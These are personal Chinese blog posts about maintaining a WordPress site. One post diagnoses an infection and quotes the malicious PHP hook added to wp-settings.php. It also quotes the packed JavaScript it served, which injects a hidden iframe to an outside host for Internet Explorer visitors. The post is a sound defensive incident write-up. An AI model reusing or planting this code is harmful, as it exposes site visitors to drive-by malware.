Categories
Wordpress

wordpress同步到微博的小提醒

以前落园在用的WP插件:WP-Tsina貌似授权失效了(就这几天的事儿吧,已经在新浪的app平台上搜不到它了),所以一直也就没法同步了。无奈之下,研究了一下sina那边可以用的应用,选了一个叫做WordPress连接微博的插件。花里胡哨的样子其实我不是很喜欢,但是也没有别的更好的选择了,就这样吧。

希望sina不要关闭Ouath授权,现在开放平台上只能找到Ouath2的文档了,害得我开始还很单纯的以为只是API接口的改变、试图去换接口地址呢(后来发现是WP-Tsina的ID已经消失了,哎)。

现在落园可以正常的同步到微博了,还算是唯一值得庆幸的事儿吧。微博一步步收紧之后,不知道还有什么进一步的限制呢?别真的非实名制不能发言啊!
微博

Categories
网站建设

初识Markdown语法

听着Yihui兄及COS的一群骨干们说了好久的MD(markdown)和knitr,各种心里痒痒啊。无奈最近的一段时间总觉得学习新东西的成本太高,就懒得开始动手。今天忍不住去GitHub上看了一眼,发觉自己已然没有任何理由再不快点把那个小册子弄完了,于是乎,赶紧补课。

补课的第一项工作就是升级各类软件,包括R、RStudio和Git。悄悄的说一句,现在的Git版本貌似比以前的容易用多了,我是对Github的使用没有任何印象了,重新跟着help鼓捣了一遍发现还是不怎么困难的。在一不小心删掉所有的文件之后,成功的fetch并push了所有的文件(还好有下载zip备份)。

然后下一站就是开始研究Markdown语法……好吧,这东西真的比HTML还简单啊(一直认为HTML已经是超级简洁了)。随便从网路上搜了一个语法说明(http://markdown.tw/),然后就可以开始玩转这东西了——真的很符合日常排版习惯啊!引用这个网页上的一句话:

HTML 是一種發佈的格式,Markdown 是一種編寫的格式。

习惯了Wordpress编辑器HTML模式的人,大概会对Markdown瞬间上手吧。完全米有难度……而且,符合习惯代码洁癖的人……

好吧,我怎么开始研究起这些东西来了?不是说好不玩这些geek的东西么?还是各种忍不住啊……下一个牺牲的应该不会是落园的wordpress架构吧,暂时我还不想动它,搬日志什么的很麻烦的……

Categories
Wordpress

wordpress之手动查木马侵入

最近两个blog都不消停,总有木马嵌入的报告。是可忍孰不可忍,在今早收到google Webmaster的通知之后,决定彻底的查一下这个感染的原因。

登上FTP,看到wp-settings.php这个文件更新日期和其他的都不一样,就下下他来。然后和标准的安装包自带的wp-settings.php进行比对,果然发现多了这么几行:
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');

遂加了一行echo $t_d. '/wp_inc' ;,华丽丽的发现输出了一个/tmp。这个时候访问blog并查看源文件,发现有一行代码被嵌入:
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('i 9(){a=6.h('b');7(!a){5 0=6.j('k');6.g.l(0);0.n='b';0.4.d='8';0.4.c='8';0.4.e='f';0.m='w://z.o.B/C.D?t=E'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|hggf|navigator|ai|showthread|php|72241732'.split('|'),0,{})) // ]]>
这就是一切祸首的来源!

总结一下,这个木马的入侵模式为:修改wp-settings.php文件,然后调用系统临时文件夹/tmp下的wp_inc文件,然后嵌入到网站的里面,实现JS入侵

最简单的屏蔽办法自然是覆盖wp-settings.php文件,然后这行代码的嵌入果然消失了,网站也就没问题了。然而最大的问题则是,服务器已经被感染了,他会不断的重写wp-settings.php文件,而且就算我把文件的权限设为600(只读)而不是644也无济于事。这下子,我也不知道应该怎么办了……看了一下google的report,貌似整个服务器上有很多网站都中招了,汗。

Of the 168165 site(s) we tested on this network over the past 90 days, 4491 site(s) served content that resulted in malicious software being downloaded and installed without user consent.

莫非要换服务器了?……又是一年搬家时?
p.s. 发现自己向着下列目标在不懈努力:

上得了厅堂,下得了厨房,写得了代码,查得出异常,杀得了木马,翻得了围墙,开得起好车,买得起新房,斗得过二奶,打得过流氓.

Categories
网站建设

301,永久重定向!

我这次彻底被惹火了。真的大感慨:早知如此,何必当初!

落园两个域名、两个服务器分别独立运行的痛苦日子终于要结束了——我也痛下决心,牺牲一部分速度,做出这个抉择——落园国内服务器暂停。接下来的问题就是把.cn的域名做一个301永久重定向,全部指到loyhome.com来。

其实本来是想做一个在MySQL 层面的数据库同步的,但无奈两个服务器之间不给力,同步很难做。wordpress镜像的次选择就是直接在配置文件里面写入远程MySQL服务器地址,但也不是很给力。最后的办法就是全静态同步,自然还是不给力。我实在忍无可忍了,再也不想忍受两个站点手动同步刷新的痛苦,于是决定赶紧的搞定这个事儿。.com转到国内还牵扯一个备案问题,同样是折磨的我实在是受不了的事儿。索性,一了百了,全面转身.com并使用国外的服务器。为了清理这一年来的旧账(两边都有留言),我还写了一天的R代码来一一对应各种文章ID和留言ID,最后终于全面整理了过来。国内的服务器可能还会保留给后花园用。

我不得不唠叨一下这些痛苦的历史。落园从2006年开始运行在独立域名上(落园以前是在blogcn上的,前段时间blogcn删档,落园最早的文章就全部覆灭了,正好,毁尸灭迹,不怕有人追踪什么了),以loyhome.cn作为唯一的域名。后来波折一再,.cn域名从来就没有消停过。先是备案,由于换空间商换了一次,所以前后备案痛苦的备了两次;后是实名认证,直接导致去年不在国内的我无奈的看着域名被封了两个月,这也是当时一怒之下注册loyhome.com取而代之的缘故。这还是域名和空间的事儿。落园所依赖的程序上,本来采用的是Textcube,后来实在是不给力就转到wordpress了。当年那次大搬家费了我好大事儿,不得不手动对应两个MySQL数据库,写了一堆PHP程序来实现了完全的迁移。至于各种小波折小调整就不罗列了……

回顾这差不多7年的落园成长史,就是一部充斥着各种折磨的辛酸血泪史。不堪忍受删文章,就自己掏钱买域名买空间做独立博客;不堪忍受TC的低效,就自己写PHP代码鼓捣MySQL彻底转到Wordpress来;不堪忍受一而再、再而三的实名认证,就忍痛把旧域名转到新域名来。谁说写博客容易的?我真不想骂人,可是哪有强迫人不仅要有文笔、还要有独立思考能力、还要有时间有持之以恒精神、还要不计金钱报酬(落园从未也永远不会挂任何广告)、还要学会写PHP代码查bug弄SEO、还要搞的定国外的域名注册……说真的,落园能走到现在,我已经很满足了,很满足了。有的时候真的想过放弃算了,一个博客而已。但是还是跌跌撞撞的坚持下来了。现在所有人都在微博上玩的不亦乐乎,还有多少人关注博客?在大多数博客沦落为相互复制粘贴、挂满小广告或者半年不更新的今日,还有多少人关注什么原创和持之以恒?

总而言之,当我在阿里巴巴商学院门口看到马云题写的四个有点难看的字“永不放弃”的时候,当时想到落园就有种泪流满面的冲动。如果没有这么多朋友的支持与鼓励、没有一篇篇日志后面那些温馨的让人忘记寒冬的留言,我可能真的坚持不到今天。还有,当我不止一次在网上搜问题搜回到自己的博客的时候,只有会心一笑,稍稍讽刺,却也暗自欢喜。

我很对不起很多国内的、尤其是限制国外流量的教育网的朋友们。我知道这一次301之后,很多人访问落园的速度会慢下来,还有可能打不开。但是,我已经没有其他更好的办法了。如果IPV6可以用的话,还请用Google reader订阅落园的RSS吧!如果你们连留言页面都打不开,那么就给我发邮件吧!我不想失去大家的关怀,也请大家不要忘记落园这么一个越来越孤独的存在。

丢车,是为了保帅。只有暗自的期望落园的未来可以顺畅的走下去,毕竟一个博客的核心是内容——正如301对应的解释,永久重定向,我也不想浪费更多的时间在其他的网站管理等琐事上了。涅磐之后,还请雨过天晴。

Categories
Wordpress

对落园的一些例行调整

昨天更新了一下PageNavi这个插件,然后发现新版本自己带了一个CSS,导致我原来在模板中定义的样式失效,这也刺激了我去好好休整一下这个四处透风的Wordpress。

+改回来页面导航的样式

+调整了前台页面的文字,把所有不适应国情的英文字符都改为中文了(分家咯)。现在留下的大概只有RSS, Tag这些不好翻译也不用翻译的个别英文了。

+调整了个别位置英文字体的样式,排除了宋体显示英文。

+调整后台目录,使得wordpress可以实现自动升级(已升级至最新版)。由于支持widgets的话对CSS文件需进行较大调整,所以暂且搁置。

+顺手升级了后花园的TextCube,其实我仍然觉得这个是不错的blog系统,不过可能更适应韩国。

-调整模板,去掉自动将半角符号转换为全角符号的函数(可能仅有中文版有此毛病)。

+更新了表情包,由“洋葱头”换成了“胖兔子粥粥”。由于GIF动画图片不足,又加了一些静态的。。

+修正了评论页的一些错误,主要是被密码保护的文章评论页模板问题。

唯一不爽的就算在中文14PX的显示下,英文字体显得很粗糙(Firefox下,可能是没有cleartype支持的缘故)。正文中的英文只能继续这么忍受着了。